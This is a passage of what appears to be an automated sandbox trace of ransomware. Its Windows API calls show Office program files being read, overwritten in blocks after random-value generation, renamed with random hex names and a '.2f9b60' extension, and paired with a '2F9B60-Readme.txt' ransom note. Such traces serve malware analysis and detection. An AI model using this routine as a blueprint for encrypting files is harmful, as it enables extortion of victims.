[0135.182] SetFilePointerEx (in: hFile=0x1c9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605f0 [0135.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261880 [0135.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0135.183] NtQuerySystemTime (in: CurrentTime=0x2539fba0 | out: CurrentTime=0x2539fba0*=132462177404230000) returned 0x0 [0135.183] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x3387bd8f [0135.183] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x6986914b [0135.183] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x6fd94c61 [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x4440d4fc [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x5f2f06e9 [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x7b9a024b [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0xed6362f [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x10f7db37 [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x62b7306b [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x4c1327f5 [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x4815bf60 [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x71acb6c6 [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x5ee665d8 [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x3287c2dd [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x4b5c03ad [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x7185b80e [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x5c4614d6 [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x2a64b6ef [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x68fc25b4 [0135.184] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x1719fd4c [0135.185] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x642b0280 [0135.185] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x466f2ef9 [0135.185] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x1a07d4c [0135.185] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x4080b89c [0135.185] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x104ec1e3 [0135.185] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x716a46e7 [0135.185] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0xa6626c6 [0135.185] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x6e464bb9 [0135.185] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x72caa6f9 [0135.185] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x24d58c1d [0135.185] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x54113968 [0135.185] RtlRandomEx (in: Seed=0x2539fb90 | out: Seed=0x2539fb90) returned 0x314a5bea [0135.207] ReadFile (in: hFile=0x1c9c, lpBuffer=0x203861b0, nNumberOfBytesToRead=0x3392, lpNumberOfBytesRead=0x2539fb90, lpOverlapped=0x0 | out: lpBuffer=0x203861b0*, lpNumberOfBytesRead=0x2539fb90*=0x3392, lpOverlapped=0x0) returned 1 [0135.231] SetFilePointerEx (in: hFile=0x1c9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.231] WriteFile (in: hFile=0x1c9c, lpBuffer=0x2038a0b0*, nNumberOfBytesToWrite=0x3392, lpNumberOfBytesWritten=0x2539fb94, lpOverlapped=0x0 | out: lpBuffer=0x2038a0b0*, lpNumberOfBytesWritten=0x2539fb94*=0x3392, lpOverlapped=0x0) returned 1 [0135.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205059c0 [0135.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205059f0 [0135.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205059f0) returned 1 [0135.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2038a0b0) returned 1 [0135.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203861b0) returned 1 [0135.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0135.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x205059f0 [0135.358] SetFilePointerEx (in: hFile=0x1c9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.359] WriteFile (in: hFile=0x1c9c, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2539fcb0, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x2539fcb0*=0x108, lpOverlapped=0x0) returned 1 [0135.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c50 [0135.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c50) returned 1 [0135.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0135.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c50 [0135.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c20 [0135.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c20) returned 1 [0135.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cda0070 [0135.420] sprintf (in: _Dest=0x1cda0070, _Format="%c%c" | out: _Dest="25") returned 2 [0135.420] sprintf (in: _Dest=0x1cda0072, _Format="%c%c" | out: _Dest="e9") returned 2 [0135.420] sprintf (in: _Dest=0x1cda0074, _Format="%c%c" | out: _Dest="13") returned 2 [0135.420] sprintf (in: _Dest=0x1cda0076, _Format="%c%c" | out: _Dest="d1") returned 2 [0135.420] sprintf (in: _Dest=0x1cda0078, _Format="%c%c" | out: _Dest="9d") returned 2 [0135.420] sprintf (in: _Dest=0x1cda007a, _Format="%c%c" | out: _Dest="da") returned 2 [0135.420] sprintf (in: _Dest=0x1cda007c, _Format="%c%c" | out: _Dest="64") returned 2 [0135.420] sprintf (in: _Dest=0x1cda007e, _Format="%c%c" | out: _Dest="c7") returned 2 [0135.420] sprintf (in: _Dest=0x1cda0080, _Format="%c%c" | out: _Dest="3d") returned 2 [0135.420] sprintf (in: _Dest=0x1cda0082, _Format="%c%c" | out: _Dest="51") returned 2 [0135.420] sprintf (in: _Dest=0x1cda0084, _Format="%c%c" | out: _Dest="f7") returned 2 [0135.420] sprintf (in: _Dest=0x1cda0086, _Format="%c%c" | out: _Dest="de") returned 2 [0135.420] sprintf (in: _Dest=0x1cda0088, _Format="%c%c" | out: _Dest="e8") returned 2 [0135.420] sprintf (in: _Dest=0x1cda008a, _Format="%c%c" | out: _Dest="8f") returned 2 [0135.421] sprintf (in: _Dest=0x1cda008c, _Format="%c%c" | out: _Dest="63") returned 2 [0135.421] sprintf (in: _Dest=0x1cda008e, _Format="%c%c" | out: _Dest="ec") returned 2 [0135.421] sprintf (in: _Dest=0x1cda0090, _Format="%c%c" | out: _Dest="71") returned 2 [0135.421] sprintf (in: _Dest=0x1cda0092, _Format="%c%c" | out: _Dest="97") returned 2 [0135.421] sprintf (in: _Dest=0x1cda0094, _Format="%c%c" | out: _Dest="53") returned 2 [0135.421] sprintf (in: _Dest=0x1cda0096, _Format="%c%c" | out: _Dest="1c") returned 2 [0135.421] sprintf (in: _Dest=0x1cda0098, _Format="%c%c" | out: _Dest="bc") returned 2 [0135.421] sprintf (in: _Dest=0x1cda009a, _Format="%c%c" | out: _Dest="f8") returned 2 [0135.421] RtlInitAnsiString (in: DestinationString=0x2539fd28, SourceString="25e913d19dda64c73d51f7dee88f63ec7197531cbcf8" | out: DestinationString="25e913d19dda64c73d51f7dee88f63ec7197531cbcf8") [0135.421] RtlAnsiStringToUnicodeString (in: DestinationString=0x2539fcf8, SourceString="25e913d19dda64c73d51f7dee88f63ec7197531cbcf8", AllocateDestinationString=1 | out: DestinationString="25e913d19dda64c73d51f7dee88f63ec7197531cbcf8") returned 0x0 [0135.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced9080 [0135.421] wcscat (in: _Dest=0x202a4da0, _Source="25e913d19dd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\25e913d19dd") returned="C:\\Program Files\\Microsoft Office\\Office14\\25e913d19dd" [0135.421] wcscat (in: _Dest=0x202a4da0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\25e913d19dd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\25e913d19dd.2f9b60" [0135.421] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\25e913d19dd.2f9b60", NtPathName=0x2539fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\25e913d19dd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050c240 [0135.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c240) returned 1 [0135.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49ee0) returned 1 [0135.609] NtQueryInformationFile (in: FileHandle=0x1c9c, IoStatusBlock=0x2539fd38, FileInformation=0x2539fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2539fd38, FileInformation=0x2539fd48) returned 0x0 [0135.610] NtSetInformationFile (FileHandle=0x1c9c, IoStatusBlock=0x2539fd38, FileInformation=0x2539fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0135.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4da0) returned 1 [0135.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9080) returned 1 [0135.613] FlushFileBuffers (hFile=0x1c9c) returned 1 [0138.480] CloseHandle (hObject=0x1c9c) returned 1 [0138.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050b460 [0138.501] wcscpy (in: _Dest=0x2050b460, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0138.501] wcscat (in: _Dest=0x2050b460, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0138.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0138.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b460) returned 1 [0138.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 Thread: id = 1788 os_tid = 0xfe4 [0132.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msoutl.olb")) returned 0x20 [0132.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB", dwFileAttributes=0x20) returned 1 [0133.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msoutl.olb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c74 [0134.925] GetFileSizeEx (in: hFile=0x1c74, lpFileSize=0x28adfb40 | out: lpFileSize=0x28adfb40*=417144) returned 1 [0134.925] SetFilePointerEx (in: hFile=0x1c74, liDistanceToMove=0x65d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.925] ReadFile (in: hFile=0x1c74, lpBuffer=0x28adfac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28adfb08, lpOverlapped=0x0 | out: lpBuffer=0x28adfac0*, lpNumberOfBytesRead=0x28adfb08*=0x4, lpOverlapped=0x0) returned 1 [0134.953] SetFilePointerEx (in: hFile=0x1c74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e90 [0134.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab0a0 [0134.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6b0 [0134.954] NtQuerySystemTime (in: CurrentTime=0x28adfa00 | out: CurrentTime=0x28adfa00*=132462177401890000) returned 0x0 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x45abaa55 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x12a69c63 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x1f46c6ad [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x3813cb16 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x6753cb15 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x635b4b3e [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x1b0b9f06 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x646cbf48 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x1f04c00e [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x51aa7ec3 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x6c7edb69 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x2d439840 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x11767686 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x7a60814 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0xe9bb830 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x516ca54b [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x18cdec16 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0xeb1479 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x6cd55e71 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x7254cfe6 [0134.954] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x31288ab [0134.955] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x37995cc6 [0134.955] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x19a21c1a [0134.955] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x3f9939e [0134.955] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x33572435 [0134.955] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x2ce63388 [0134.955] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x10a47363 [0134.955] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x5f40f28b [0134.955] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x4de88fd4 [0134.955] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x1615a3ee [0134.955] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x4d6ef1f0 [0134.955] RtlRandomEx (in: Seed=0x28adf9f0 | out: Seed=0x28adf9f0) returned 0x546fe2cb [0134.969] SetFilePointerEx (in: hFile=0x1c74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.969] ReadFile (in: hFile=0x1c74, lpBuffer=0x2034a0b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28adfa60, lpOverlapped=0x0 | out: lpBuffer=0x2034a0b0*, lpNumberOfBytesRead=0x28adfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0134.997] SetFilePointerEx (in: hFile=0x1c74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0134.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0134.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6b0 [0134.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa6b0) returned 1 [0134.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203518d0 [0134.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6b0 [0134.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0134.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0134.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0134.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0134.999] WriteFile (in: hFile=0x1c74, lpBuffer=0x203518d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28adfa60, lpOverlapped=0x0 | out: lpBuffer=0x203518d0*, lpNumberOfBytesWritten=0x28adfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0135.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203518d0) returned 1 [0135.316] SetFilePointerEx (in: hFile=0x1c74, liDistanceToMove=0x34800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.316] ReadFile (in: hFile=0x1c74, lpBuffer=0x2034a0b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28adfa60, lpOverlapped=0x0 | out: lpBuffer=0x2034a0b0*, lpNumberOfBytesRead=0x28adfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0135.320] SetFilePointerEx (in: hFile=0x1c74, liDistanceToMove=0x34800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0135.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dc70 [0135.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261bb0 [0135.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261bb0) returned 1 [0135.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2035cd00 [0135.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261bb0 [0135.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627e0 [0135.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202627e0) returned 1 [0135.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0135.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0135.322] WriteFile (hFile=0x1c74, lpBuffer=0x2035cd00, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28adfa60, lpOverlapped=0x0) [0170.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2035cd00) returned 1 [0170.834] SetFilePointerEx (in: hFile=0x1c74, liDistanceToMove=0x62178, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.834] ReadFile (in: hFile=0x1c74, lpBuffer=0x2034a0b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28adfa60, lpOverlapped=0x0 | out: lpBuffer=0x2034a0b0*, lpNumberOfBytesRead=0x28adfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0170.911] SetFilePointerEx (in: hFile=0x1c74, liDistanceToMove=0x62178, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263920 [0170.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263920) returned 1 [0170.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f0c1b0 [0170.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263920 [0170.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0170.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260380) returned 1 [0170.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.914] WriteFile (in: hFile=0x1c74, lpBuffer=0x41f0c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28adfa60, lpOverlapped=0x0 | out: lpBuffer=0x41f0c1b0*, lpNumberOfBytesWritten=0x28adfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0194.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f0c1b0) returned 1 [0194.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf1a0 [0194.605] SetFilePointerEx (in: hFile=0x1c74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.605] WriteFile (in: hFile=0x1c74, lpBuffer=0x1cebd2a0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x28adfb10, lpOverlapped=0x0 | out: lpBuffer=0x1cebd2a0*, lpNumberOfBytesWritten=0x28adfb10*=0x146, lpOverlapped=0x0) returned 1 [0202.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0202.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df00 [0202.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050df00) returned 1 [0202.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d520 [0202.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df00 [0202.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0202.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f280) returned 1 [0202.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0202.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1ce5d8b0 [0202.991] sprintf (in: _Dest=0x1ce5d8b0, _Format="%c%c" | out: _Dest="4f") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8b2, _Format="%c%c" | out: _Dest="26") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8b4, _Format="%c%c" | out: _Dest="dd") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8b6, _Format="%c%c" | out: _Dest="44") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8b8, _Format="%c%c" | out: _Dest="ea") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8ba, _Format="%c%c" | out: _Dest="e0") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8bc, _Format="%c%c" | out: _Dest="ac") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8be, _Format="%c%c" | out: _Dest="99") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8c0, _Format="%c%c" | out: _Dest="da") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8c2, _Format="%c%c" | out: _Dest="8c") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8c4, _Format="%c%c" | out: _Dest="7e") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8c6, _Format="%c%c" | out: _Dest="18") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8c8, _Format="%c%c" | out: _Dest="10") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8ca, _Format="%c%c" | out: _Dest="d3") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8cc, _Format="%c%c" | out: _Dest="49") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8ce, _Format="%c%c" | out: _Dest="6d") returned 2 [0202.991] sprintf (in: _Dest=0x1ce5d8d0, _Format="%c%c" | out: _Dest="b3") returned 2 [0202.992] sprintf (in: _Dest=0x1ce5d8d2, _Format="%c%c" | out: _Dest="34") returned 2 [0202.992] sprintf (in: _Dest=0x1ce5d8d4, _Format="%c%c" | out: _Dest="27") returned 2 [0202.992] sprintf (in: _Dest=0x1ce5d8d6, _Format="%c%c" | out: _Dest="1a") returned 2 [0202.992] RtlInitAnsiString (in: DestinationString=0x28adfb88, SourceString="4f26dd44eae0ac99da8c7e1810d3496db334271a" | out: DestinationString="4f26dd44eae0ac99da8c7e1810d3496db334271a") [0202.992] RtlAnsiStringToUnicodeString (in: DestinationString=0x28adfb58, 